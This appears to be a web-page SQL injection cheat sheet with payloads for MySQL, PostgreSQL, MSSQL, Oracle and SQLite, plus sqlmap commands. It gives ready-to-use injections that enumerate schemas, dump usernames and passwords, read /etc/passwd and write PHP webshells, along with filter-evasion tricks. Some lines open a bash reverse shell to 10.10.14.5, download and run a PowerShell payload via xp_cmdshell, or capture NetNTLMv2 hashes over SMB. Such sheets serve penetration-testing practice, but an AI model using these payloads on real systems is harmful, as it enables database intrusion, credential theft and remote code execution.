SQL injection payloads

Pick the database engine. UNION examples use two columns; adjust the number of NULLs to match the query (find it with ORDER BY).

Your values Saved in this browser and applied to every cheatsheet.

Your IP (attacker) Port Target IP User Password

MySQL

Detection

Break the query

True and false condition

' AND 1=1-- -
' AND 1=2-- -

admin'-- -
' OR 1=1-- -

Count columns

' ORDER BY 1-- -
' ORDER BY 5-- -

Increase the number until it errors; the last one that works is the column count.

See which columns are reflected

' UNION SELECT 1,2-- -

Enumeration

Version, user and database

' UNION SELECT @@version,CONCAT(user(),' | ',database())-- -

Databases

' UNION SELECT GROUP_CONCAT(schema_name),NULL FROM information_schema.schemata-- -

Tables of the current database

' UNION SELECT GROUP_CONCAT(table_name),NULL FROM information_schema.tables WHERE table_schema=database()-- -

Columns of a table

' UNION SELECT GROUP_CONCAT(column_name),NULL FROM information_schema.columns WHERE table_name='users'-- -

Dump users and passwords

' UNION SELECT GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a),NULL FROM users-- -

User privileges

' UNION SELECT GROUP_CONCAT(privilege_type),NULL FROM information_schema.user_privileges-- -

Error based

extractvalue

' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version)))-- -

updatexml

' AND UPDATEXML(1,CONCAT(0x7e,(SELECT user())),1)-- -

The error shows about 32 characters; use SUBSTRING to read the rest.

Blind

Boolean

' AND SUBSTRING(database(),1,1)='a'-- -

Boolean by ASCII code (binary search)

' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>77-- -

Time based

' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(3),0)-- -

Time based without quotes

1 AND SLEEP(3)

Files and RCE

Where can files be read and written?

' UNION SELECT @@secure_file_priv,NULL-- -

Empty means unrestricted; NULL means it is not allowed.

Read a file

' UNION SELECT LOAD_FILE('/etc/passwd'),NULL-- -

Write a webshell

' UNION SELECT '<?php system($_GET["cmd"]); ?>',NULL INTO OUTFILE '/var/www/html/shell.php'-- -

Filter evasion

Without spaces

'/**/UNION/**/SELECT/**/1,2-- -

Mixed case

' uNiOn SeLeCt 1,2-- -

Nested keywords (if removed once)

' UNIUNIONON SELSELECTECT 1,2-- -

Strings without quotes (hex)

' UNION SELECT 1,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name=0x7573657273-- -

Hash comment

' OR 1=1#

PostgreSQL

Detection and enumeration

Condition

' AND 1=1--

Version, user and database

' UNION SELECT version(),current_user||' | '||current_database()--

Tables

' UNION SELECT string_agg(table_name,','),NULL FROM information_schema.tables WHERE table_schema='public'--

Columns

' UNION SELECT string_agg(column_name,','),NULL FROM information_schema.columns WHERE table_name='users'--

Dump data

' UNION SELECT string_agg(username||':'||password,chr(10)),NULL FROM users--

Am I superuser?

' UNION SELECT current_setting('is_superuser'),NULL--

Errors and blind

Error based (CAST)

' AND 1=CAST((SELECT version()) AS int)--

Boolean

' AND SUBSTRING(current_user,1,1)='p'--

Time based

' AND 1=(SELECT 1 FROM pg_sleep(3))--

Conditional time based (stacked)

'; SELECT CASE WHEN (SUBSTRING(current_user,1,1)='p') THEN pg_sleep(3) ELSE pg_sleep(0) END--

Files and RCE

Read a file

' UNION SELECT pg_read_file('/etc/passwd'),NULL--

Run commands with COPY (superuser)

'; CREATE TABLE cmd(o text); COPY cmd FROM PROGRAM 'id'; SELECT * FROM cmd;--

Reverse shell with COPY

'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"';--

Filter evasion

Strings without quotes

$$users$$
CHR(117)||CHR(115)||CHR(101)||CHR(114)||CHR(115)

MSSQL

Enumeration

Version, user and database

' UNION SELECT @@version,SYSTEM_USER+' | '+DB_NAME()--

Databases

' UNION SELECT STRING_AGG(name,','),NULL FROM master..sysdatabases--

Tables

' UNION SELECT STRING_AGG(table_name,','),NULL FROM information_schema.tables--

Columns

' UNION SELECT STRING_AGG(column_name,','),NULL FROM information_schema.columns WHERE table_name='users'--

Am I sysadmin?

' UNION SELECT IS_SRVROLEMEMBER('sysadmin'),NULL--

Errors and blind

Error based

' AND 1=CONVERT(int,(SELECT @@version))--

Time based

'; IF (SUBSTRING(DB_NAME(),1,1)='m') WAITFOR DELAY '0:0:3'--

Command execution

Enable xp_cmdshell

'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;--

Run a command

'; EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://10.10.14.5/rev.ps1'')"';--

Capture the service account NetNTLMv2 hash

'; EXEC master..xp_dirtree '\\10.10.14.5\share';--

First, on your machine, sudo responder -I tun0 (or impacket-smbserver share . -smb2support). Crack the hash with hashcat -m 5600.

With credentials (mssqlclient)

Connect Attacker

impacket-mssqlclient usuario:'Password123!'@10.10.11.20 -windows-auth

Logins I can impersonate

SELECT DISTINCT b.name FROM sys.server_permissions a JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';

Impersonate sa

EXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER;

Linked servers

EXEC sp_linkedservers;
EXEC ('SELECT SYSTEM_USER') AT [SERVIDOR2];

Oracle

In Oracle every SELECT needs a FROM; use the dual table when there is no other.

Enumeration

Columns with UNION

' UNION SELECT NULL,NULL FROM dual--

Version and user

' UNION SELECT banner,user FROM v$version--

User tables

' UNION SELECT LISTAGG(table_name,',') WITHIN GROUP (ORDER BY table_name),NULL FROM user_tables--

Columns

' UNION SELECT LISTAGG(column_name,',') WITHIN GROUP (ORDER BY column_name),NULL FROM all_tab_columns WHERE table_name='USERS'--

Dump data

' UNION SELECT username||':'||password,NULL FROM users--

Errors and blind

Error based

' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual))--

Boolean

' AND SUBSTR((SELECT user FROM dual),1,1)='S'--

Time based

' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('x',3)--

SQLite

Enumeration

Version

' UNION SELECT sqlite_version(),NULL--

Tables

' UNION SELECT group_concat(name),NULL FROM sqlite_master WHERE type='table'--

Table structure (the CREATE TABLE)

' UNION SELECT sql,NULL FROM sqlite_master WHERE name='users'--

Dump data

' UNION SELECT group_concat(username||':'||password,char(10)),NULL FROM users--

Blind

Boolean

' AND substr((SELECT password FROM users LIMIT 1),1,1)='a'--

Time based (heavy query)

' AND 1=like('ABCDEFG',upper(hex(randomblob(300000000/2))))--

SQLite has no SLEEP, so a slow operation is forced instead. Tune the size until you notice the delay.

RCE

Write a webshell with ATTACH (stacked)

'; ATTACH DATABASE '/var/www/html/shell.php' AS p; CREATE TABLE p.t (x text); INSERT INTO p.t (x) VALUES ('<?php system($_GET["cmd"]); ?>');--

sqlmap

Basic usage

Test a GET parameter Attacker

sqlmap -u 'http://10.10.11.20/item.php?id=1' --batch --dbs

From a request saved in Burp Attacker

sqlmap -r peticion.txt --batch --level 5 --risk 3

Forms on the page Attacker

sqlmap -u 'http://10.10.11.20/login.php' --forms --batch

Dump a table Attacker

sqlmap -r peticion.txt --batch -D app -T users --dump

Useful options

Boolean and time based only Attacker

sqlmap -r peticion.txt --batch --technique=BT

Evade filters with tampers Attacker

sqlmap -r peticion.txt --batch --tamper=space2comment,between

Injection in a cookie or header Attacker

sqlmap -u 'http://10.10.11.20/' --cookie='session=abc*' --batch --level 2

The asterisk marks where to inject.

OS shell Attacker

sqlmap -r peticion.txt --batch --os-shell

Read a file Attacker

sqlmap -r peticion.txt --batch --file-read=/etc/passwd